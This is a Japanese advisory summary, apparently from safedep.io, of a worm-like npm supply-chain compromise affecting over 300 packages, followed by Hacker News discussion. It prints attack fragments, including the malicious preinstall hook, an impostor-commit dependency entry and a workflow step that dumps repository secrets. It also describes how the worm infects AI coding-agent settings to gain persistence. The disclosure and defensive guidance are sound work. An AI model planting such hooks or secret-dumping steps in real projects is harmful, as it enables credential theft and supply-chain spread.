Mini Shai-Huludが再び攻撃: npmパッケージ314件が侵害
(safedep.io)- atool npmアカウントが2026年5月19日に侵害され、約22分間で317個のパッケージに637個の悪性バージョンが自動配布された
- ペイロードは498KBの難読化されたBunスクリプトで、SAP侵害に使われたMini Shai-Huludと同じスキャナー構造と正規表現を使用している
- 窃取対象はAWS認証情報、Kubernetesトークン、Vault、GitHub PAT、npmトークン、SSHキー、ローカルのシークレットにまで拡大している
- CIではGitHub Actions OIDCをnpm publishトークンに交換し、Sigstore署名と悪性workflow注入を悪用する
- 対応には、侵害バージョンをインストールしたかの確認、アクセス可能だったすべての認証情報の交換、lockfile・依存関係のpinningとインストール前検査が必要だ
攻撃の概要
atoolnpmアカウント(i@hust.cc)が2026年5月19日に侵害され、約22分間で317個のパッケージに637個の悪性バージョンが配布された- このアカウントは547個のパッケージを保守しており、攻撃者はそのうち314個以上に対して2回のバージョンbumpを実行した
- 影響を受けたパッケージには、
size-sensor(月間420万ダウンロード)、echarts-for-react(380万)、@antv/scale(220万)、timeago.js(115万)、多数の@antvスコープパッケージが含まれる - ペイロードは498KBの難読化されたBunスクリプトで、3週間前のSAP侵害で使われたMini Shai-Hulud toolkitと同じスキャナー構造、認証情報の正規表現、難読化パターンを使用している
- 窃取データは公開GitHubリポジトリにGitオブジェクトとしてコミットされるか、RSA+AESで暗号化されたHTTPS POSTで
t.m-kosche[.]comへ送信される
配布方法とsemverのリスク
- 第1波では2026年5月19日 01:39〜01:56 UTCに約317個のバージョンが配布され、第2波では02:05〜02:06 UTCに同じパッケージ群に対して約314個のバージョンbumpが行われた
- 大半のパッケージ309個は、各波で1つずつ、正確に2個の悪性バージョンを受け取った
size-sensor、echarts-for-react、jest-canvas-mock、jest-date-mockの4パッケージは3個のバージョンを受け取り、初期テストに使われたことがうかがえる- 攻撃者は大半のパッケージで
latestdist-tagを移動していなかったが、npmのsemver解釈はlatestとは無関係に、範囲に合致する最も高いバージョンを選択する - たとえば
echarts-for-reactのlatestが3.0.6のままでも、"echarts-for-react": "^3.0.6"のプロジェクトは次回のクリーンインストールで悪性バージョン3.2.7に解決される可能性がある
実行経路とペイロード
- 改ざんされたすべてのバージョンは、
package.jsonにバージョンbumpと"preinstall": "bun run index.js"を追加している - 637個の悪性バージョンのうち630個は、
optionalDependenciesに@antv/setup: github:antvis/G2#<commit-sha>を追加し、第2のペイロード複製を取得するようにしている preinstallフックは依存関係のインストール前に実行され、Bunランタイムを必要とするpreinstallがブロックまたはスキップされても、GitHubを装ったコミットのprepareスクリプトが第2の実行経路として残るindex.jsは1行の498KB難読化Bunバンドルで、SAP侵害に使われたMini Shai-Hulud payloadと同じBun要件、hex-variable難読化、100KB flush thresholdスキャナー構造、認証情報の正規表現セットを備える- CI環境の検知では、GitHub Actions、Jenkins、GitLab CI、CircleCI、Travis、Buildkite、Drone、TeamCity、AppVeyor、Bitbucket Pipelines、CodeBuild、Azure DevOps、Netlify、Vercelなど20以上のプラットフォームの環境変数を確認する
認証情報の収集対象
- ペイロードは暗号化された名前の環境変数80個以上を読み取り、ファイル内容は正規表現でスキャンする
- 主な対象はGitHub token、npm token、GitHub Actions JWT、AWS key、Azure key、DB connection string、Stripe key、SSH key、Docker auth、Vault token、Kubernetes token、URL embedded credentialである
- ファイルスキャナーはホームディレクトリ内の
.ssh、.aws/credentials、.npmrc、.docker/config.json、.kube/configのような標準的な認証情報の場所を読み取る - AWS credential resolution order全体をたどり、EC2 IMDSv2とECS container credential endpointからIAM role credentialを取得し、AWS STS
GetCallerIdentityとSecrets Managerへのアクセスも試みる - Vaultではtokenファイルと
VAULT_ADDR、VAULT_TOKEN、VAULT_ROLEなどを確認し、有効なcredentialがあればsecretの列挙とAWS・Kubernetes認証を試みる - Kubernetesではservice account tokenと
KUBECONFIGを確認し、Docker socketがあればホスト上のコンテナ列挙とコンテナ脱出を試みる
C2とデータ流出
- GitHub APIはC2のように使われ、
GET /userで窃取したGitHubトークンを検証し、GET /user/orgsで組織を列挙する repoまたはpublic_repo権限が十分なトークンは、攻撃者の流出用リポジトリ作成に使われる- 作成されるリポジトリの説明は逆順文字列
niagA oG eW ereH :duluH-iahSとして保存され、正順にすると“Shai-Hulud: Here We Go Again”になる - リポジトリ名は
harkonnen-melange-742、fremen-sandworm-315、gesserit-navigator-508のように、Duneテーマの単語2つと数字を組み合わせる - 流出データはGit Data APIを通じてblob、tree、commit、ref updateの順に保存される
- 別系統のHTTPS senderは
hxxps://t.m-kosche[.]com/api/public/otel/v1/tracesをOpenTelemetry OTLP trace ingestion endpointのように見せかけて構成している - HTTPS payloadはgzip JSONをAES-256-GCMで暗号化し、AES keyをハードコードされた公開鍵でRSA-OAEPラップする
CI/CDと信頼チェーンの悪用
- 窃取したトークンでアクセス可能なGitHubリポジトリから、workflow実行履歴、artifact、secret名、branch一覧、Claude Code設定を収集する
- GitHub APIではsecret値にはアクセスできないが、secret名からどの認証情報が存在するかが分かる
- 悪性workflowは
.github/workflows/codeql.ymlに注入され、名前はRun Copilotで、pushでトリガーされる - workflowは
VARIABLE_STORE: ${{ toJSON(secrets) }}でrepository secrets全体をJSONとして環境変数に格納し、format-results.txtに保存した後、artifactとしてアップロードする - 完了後はartifact zipをダウンロードし、workflow run削除とbranch ref resetで注入の痕跡を減らす
- GitHub Actions OIDCがあるCIでは、
https://registry.npmjs.org/-/npm/…;endpointでnpm publish tokenへの交換を試みる - ペイロードはFulcio、Rekor、SLSA provenance形式を含むSigstore signing実装を備えており、侵害されたCI identityで署名されたartifactを作成できる
開発環境とAIコーディングエージェントの感染
- ペイロードは、GitHub APIを介したリモート注入とファイルシステムへの書き込みによるローカル感染により、Claude Code、Codex、VS Code環境を標的とする
- 窃取したトークンでアクセス可能なリポジトリに、
.vscode/tasks.json、.claude/index.js、.claude/settings.json、.claude/setup.mjs、.vscode/setup.mjsをコミットする .claude/settings.jsonはSessionStartフックを登録し、Claude Codeセッションの開始時ごとにnode .claude/setup.mjsを実行する.vscode/tasks.jsonは"runOn": "folderOpen"により、プロジェクトフォルダが開かれたときに実行をトリガーするsetup.mjsは GitHub公式リリースから Bun v1.3.14 をダウンロードし、バイナリを展開した後にペイロードを実行する- ローカル感染経路では、ペイロードを
~/.claude/package/index.jsと~/.codex/package/index.jsにコピーし、既存のプロジェクト設定ファイルをスキャンしてフックを注入する - Apple Silicon Macではこのローカル感染経路はスキップされ、Linux、Intel Mac、Windowsでは実行される
永続化とGitHub dead-drop C2
kitty-monitorを装った常駐デーモンが、Linuxでは systemd ユーザーサービスとして、macOSでは~/Library/LaunchAgents/com.user.kitty-monitor.plistとしてインストールされる- インストーラーは
systemctl --user enable --nowとloginctl enable-lingerを使い、ログアウト後も維持されるようにする cat.pyデーモンは1時間ごとに GitHub Search API をポーリングし、firedalazerキーワードを含むコミットを検索する- コミットメッセージ形式は
firedalazer <base64_url>.<base64_signature>で、ハードコードされた4096ビットRSA公開鍵で RSA-PSS 署名を検証した後、URL上のPythonコードを実行する - 別の
gh-token-monitorデーモンは窃取したGitHubトークンを60秒間隔でポーリングし、TTLは24時間である - プロセスメモリスキャナーは、Linuxでは
/proc/pid/maps+mem、WindowsではReadProcessMemoryを使って、GitHub Actions runner worker プロセスの読み取り可能なメモリ領域をダンプする
antvis/G2 なりすましコミット
- 637件の悪性バージョンのうち630件は、
antvis/G2リポジトリ内の特定コミットを指すoptionalDependenciesエントリを含む{ "optionalDependencies": { "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569" } } - npm が
github:依存関係を解決すると、そのコミットを取得し、package.jsonを見つけた後にライフサイクルスクリプトを実行する - そのコミットには、
@antv/setupを宣言しprepareスクリプトを含むpackage.jsonと、同じ Shai-Hulud ペイロードを再度難読化した499KBのindex.jsがある prepareスクリプトの&& exit 1は optional dependency を失敗させるが、npm は optional dependency の失敗を致命的に扱わないため、インストールは継続される- Git API は
antvis/G2にプッシュされた異なるコミットSHA 3件を示しており、いずれもどのブランチにも紐付いていない - 3件のコミットは、author
huiyu.zjt <Alexzjt@users.noreply.github.com>、commit messageNew Package、親0件という同一のメタデータを共有し、GPG署名はない - 攻撃者は、
antvis/G2への書き込み権限がなくても、fork 上にペイロードの orphan commit を作成してその fork を削除することで、親リポジトリの名前空間で SHA fetch が可能なコミットを残せる - この手法は、GitHub Actions のなりすましコミット問題として Chainguardが文書化した ものと同種であり、ここでは npm の
github:依存関係解決に適用されている
侵害指標
- 2026年5月19日 01:44〜02:06 UTC の間に
atool(i@hust.cc)が配布したパッケージが確認対象である preinstallスクリプトはbun run index.jsである- ペイロードのSHA256は
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1cである antvis/G2なりすましコミットは以下のとおり1916faa365f2788b6e193514872d51a242876569— 626件のバージョン7cb42f57561c321ecb09b4552802ae0ac55b3a7a— 2件のバージョンdc3d62a2181beb9f326952a2d212900c94f2e13d— 1件のバージョン、garbage collected
- ネットワークIoCには、
hxxps://t.m-kosche[.]com/api/public/otel/v1/traces、169.254.169.254のEC2 metadata、169.254.170.2のECS container metadata へのリクエストが含まれる - リポジトリIoCには、
chore/add-codeql-static-analysisブランチ、Run Copilotworkflow、toJSON(secrets)をformat-results.txtにダンプする.github/workflows/codeql.ymlが含まれる - 開発環境IoCには、
.claude/settings.jsonのSessionStartフック、.vscode/tasks.jsonの"runOn": "folderOpen"、.claude/setup.mjs、.vscode/setup.mjsが含まれる - 永続化IoCには、
kitty-monitor.service、com.user.kitty-monitor.plist、~/.local/bin/gh-token-monitor.sh、~/.local/share/kitty/cat.py、/var/tmp/.gh_update_stateが含まれる
確認すべき代表的なパッケージ
compromised-packages.csv表には Package と Compromised Versions の2列があり、表基準で317件のパッケージが表示されている- lockfile で該当パッケージと、2026-05-19 に配布された悪性バージョンの有無を確認する必要がある
- 代表的な
@antvパッケージと悪性バージョン@antv/g2:5.5.8,5.6.8@antv/g6:5.2.1,5.3.1@antv/g:6.4.1,6.5.1@antv/l7:2.26.10,2.27.10@antv/x6:3.2.7,3.3.7@antv/s2:2.8.1,2.9.1@antv/f2:5.15.0,5.16.0
- 一般的なnpmパッケージと悪性バージョン
echarts-for-react:3.0.7,3.1.7,3.2.7size-sensor:1.0.4,1.1.4,1.2.4jest-canvas-mock:2.5.3,2.6.3,2.7.3jest-date-mock:1.0.11,1.1.11,1.2.11timeago.js:4.1.2,4.2.2timeago-react:3.1.7,3.2.7@lint-md/cli:2.1.0,2.2.0@lint-md/core:2.1.0,2.2.0@lint-md/parser:0.1.14,0.2.14
対応と防御
- 侵害されたバージョンがインストールされていた場合、ビルド環境からアクセス可能だった npm トークン、GitHub PAT、AWS キー、SSH キー、クラウド認証情報、データベースパスワード、Vault トークン、Kubernetes service account トークン、ローカルのパスワードマネージャーのシークレット値を交換する必要がある
t.m-kosche[.]comはネットワークおよび DNS レベルで遮断する必要がある- ビルド環境でアクセス可能なトークンを持つ GitHub アカウント配下に、未承認の公開リポジトリが作成されていないか確認する必要がある
- CI パイプラインで未承認のパッケージ publish と npm OIDC トークン交換ログを確認する必要がある
- 侵害された CI identity によって生成された署名 artifact がないか、Sigstore 透明性ログを確認する必要がある
- ローカルの Node.js プロジェクトで
.claude/settings.jsonフック、.vscode/tasks.jsonの自動実行タスク、.claude/setup.mjs、.vscode/setup.mjsを確認する必要がある kitty-monitorsystemd ユーザーサービスとcom.user.kitty-monitorLaunchAgent を削除し、~/.local/share/kitty/cat.py、/var/tmp/.gh_update_state、~/.local/bin/gh-token-monitor.shの存在有無を確認する必要がある- semver 範囲の解釈が悪意あるバージョンにつながらないよう、依存関係を pin するか lockfile を使用する必要がある
- CI/CD パイプラインで Docker socket の露出と EC2 metadata へのアクセスを監査し、IMDSv2 hop limit の制限を検討する必要がある
- Package Manager Guard (pmg) は、
preinstall実行前にパッケージを threat intelligence と照合するオープンソースのインストールプロキシである - dependency cooldown は、設定可能な時間枠内に公開されたバージョンを拒否し、semver 範囲が新たな悪意あるリリースに解釈されることで起きる急激な配布の波を抑えられる
- vet は、想定外の
preinstallフック、サイズの急増、maintainer の変更といった異常なパッケージ更新を、CI/CD パイプラインに到達する前に検知できる - 単一アカウント配下で 547 個のパッケージ、1 セッションで 314 個以上のパッケージが武器化されたという影響範囲は、npm 信頼モデルの構造的な弱点を浮き彫りにしている
参考資料
- Shai-Hulud Goes Open Source: Static Analysis of the Framework — Datadog Security Labs
- The Shai-Hulud Code Drop — ReversingLabs
1件のコメント
Hacker Newsのコメント
もう NPMのライフサイクルスクリプトはデフォルトで無効化すべき
便利機能という名目で任意コード実行を内蔵しているようなもので、推移的依存関係にも適用される。広く拡散したNPMワーム型攻撃はすべてこのデフォルト設定を通じて伝播してきた。特定のコマンドで一度有効にしただけで、すべての推移的依存関係がライフサイクルスクリプトを実行できるようにしてはいけない。本当に必要な依存関係ごとに明示的に指定させるべきだ
NPMパッケージの圧倒的大多数はこうしたスクリプトに依存していないので、まだならグローバルで無効化しておくのがよい
とはいえ、パッケージはプログラムから最初にimportされたときにも好きなゴミを実行できてしまう
「防ぎようがない」という言葉は、こういうことが定期的に起きる唯一のパッケージマネージャーでしか出てこない
ある時点からは Dependabot を切って、NPMパッケージをマイナー/パッチバージョンまで全部固定したほうが、更新を続けるよりよいのではないか
特にフロントエンドのパッケージでは、最近は意味のあるセキュリティ修正よりサプライチェーン攻撃のほうが多いように見える
悲しい話だが、フロントエンドを静的BOMにして、少なくともNPMが「過去バージョンを再公開できない」という制約だけはちゃんと守っていると信じてはいけない理由はあるだろうか?
既知のCVEを解決するバージョンには例外を設けられる
状況はどんどん狂ってきている。個人的にはすでに自分のマシンから node、python、あらゆるパッケージマネージャー を削除して、代わりにdevcontainerやVMの中でしか使っていない
開発者コミュニティが非常に強固なセキュリティを作り上げたとしても、少なくとも1年後にはモデルのソーシャルエンジニアリング能力が十分に高くなって、結局なお負け戦をしているのではないかと心配している
たとえばXZハックにかかった労力は莫大で、既存メンテナーを時間をかけて消耗させるやり方だったので加速できなかった。必要な悪意あるメッセージを数秒で作って送ることはできても、それを読む人間の速度は速くならないし、一度に届けばかえって疑われるだろう
入力がどれだけ説得力を持てるかにも限界がある。XZメンテナーに向けた任意の悪意あるメッセージを一つ選び、より邪悪に、より正確に、メンテナーの個人的な弱点や恐れをより反映するようにできるとしても、全体として本当にもっと効果的だっただろうか。違うか、せいぜい少しだけだと思う
Zedが1.0になったので完全に乗り換えたいが、自分の理解ではセキュリティモデルがオールオアナッシングだ。知らない NPMパッケージ を好き放題ダウンロードしてインストールするのを許すか、すべてのLSP機能を切るしかない
なのにこういうニュースが次々に出てくる
npmは、パッケージのアップロードを自動で10分ほど遅延させ、その間にサードパーティの コード監査会社のエコシステム に配布して自動検査を受けさせる仕組みを運用できないだろうか
どの監査者が最も速く安定して問題を見つけるか公開ランキングを作ったり、金銭的報酬を与えたりしてもいい
この一覧は不完全だ。少なくとも別のパッケージ1つ、nx-console VS Code拡張 も昨日このワームに感染しており、ダウンロード数は220万回だ
権限とコネクションのある人が読んでいるなら、ほかにもあるか確認するためにその依存関係チェーンもたどる価値がある。参考はこちら:
https://github.com/nrwl/nx-console/security/advisories/GHSA-...
PS: 感染直後に人々へ知らせようとHNに投稿したが、残念ながらほとんど票が入らなかった
エコシステム全体を考えると、TC39はJS自体により良い 標準ライブラリ を追加する方法を見るべきだ。そうすれば1行パッケージの数を減らせる
同意する。昔Denoで作業していたとき、一番よかった部分は標準ライブラリ[0]と、全体として完結した開発環境だった。ランタイムに統合テストランナーとアサーションライブラリが入っているのはあまりにも当然だ
0 - https://docs.deno.com/runtime/reference/std/
node:test[0] とnode:assert/strict[1] モジュールを提供している。node --testはMochaを簡単に置き換えられるし、node:assert/strictも悪くないが、chaiのほうが時々便利だ。expectのような使い勝手があるからだ。Denoの@stdにはexpectスタイルのアサーションライブラリがある問題は、Nodeエコシステムにはテストランナーが多すぎて、そのかなりの部分はMochaのように簡単には置き換えられないことだ。だから標準搭載の テストハーネスとアサーションライブラリ へ移行する過程は、当然ながら痛みを伴って遅いものになる。人々はさまざまな理由でJestやVitestの過度に複雑な性質を好んでいる。大企業はKarmaが良いアイデアだと思っていた。「単体テストにV8が好きなんですよね? じゃあ既存のV8環境の中でもう一つV8のコピーを起動してあげましょう」という感じなのに、なぜもっと多くの開発者が嫌悪感を示さなかったのか今でも理解できない
[0] https://nodejs.org/api/test.html
[1] https://nodejs.org/api/assert.html#strict-assertion-mode
どんな言語の標準ライブラリに「3時間前」のような書式へ変換する機能がある? timeago.jsがやっているのはそれだ
slice.jsはPython風の負のインデックスを提供しているだけだ。TC39はすでにarray.at()とarray.slice()が負数を扱えるようにしている
https://nodejs.org/api/
ペイロードがDockerソケットを確認し、あれば3つの順次的な方法で コンテナエスケープ を試みるという話だ
だからdevcontainerやVMの中で実行しても、この種のワームはすでに脱出を試みている
rootlessなVMエンジンを使っているか確認すべきだ。たとえばDockerではなくpodmanのようなものだ
昔、低権限のLinuxアカウントを配って、カーネルが権限昇格を防いでくれると信じていた時代を思い出す。Dockerは文字通り、同じことに手順が少し増えただけだ。特に最近は新しいカーネルのローカル権限昇格脆弱性が5分おきに出てくるような状況だ
Podmanは攻撃者にrootを渡さないという点で少しマシだが、そもそもなぜアカウントを与えるのか? まともなVMを使えばいい
BSDにあるような包括的サンドボックスはLinuxにもあるのだろうか?
もう Mr Bones' Wild Ride から降りたいのに、こういうことはこれからも続きそうで怖い。自分が見た限り、商用の検知戦略のかなりの部分は、パッケージがロードまたは使用される際に、リポジトリ/デバイス/開発者レベルへ向けたものになっている
メールスパムや一般的なマルウェアへの対処に似ているように見える。だから悪意ある行為者が試し続けるだけの価値ある標的が、ほぼ常に存在することになる。しかしメールと違って、パッケージマネージャーは中央集権的な権威者であり、帯域外の問題は当然のように開発者の責任へ押し付けられがちだ
詳しくない立場からすると、高速リリースと緩いバージョン管理の文化から離れて、レジストリの安定した、深く検査されたバージョンに集中すべきなのかもしれない。量と規模の効果のせいで自分が間違っている可能性はあるが、変化の激しい言語ほどより頻繁に影響を受けているという点は、それでも示唆的だ
今の地形を包括的に扱った記事があると本当にありがたい
その映画のジェットコースターの名前はMr Bonestripperだった: https://www.youtube.com/watch?v=NEZEgd8GjJc
実際にはRoller Coaster Tycoon 2が元ネタだった: https://knowyourmeme.com/memes/mr-bones-wild-ride
スパムとの比較で言えば、私たちはほぼすべての商業・社会的コンピュータネットワーク環境において、メールアドレスを吸い上げてスパムを人々に受け入れさせ、そこに正当性の外観を与える方向へある程度落ち着いてしまった。この領域でも似たことが起きる可能性は高い。おそらくOracleライセンス監視エージェント型ソフトウェアと自動依存関係管理の組み合わせ、つまり別のマルウェアを許可リストに入れてサプライチェーンマルウェアを「解決」するような形かもしれない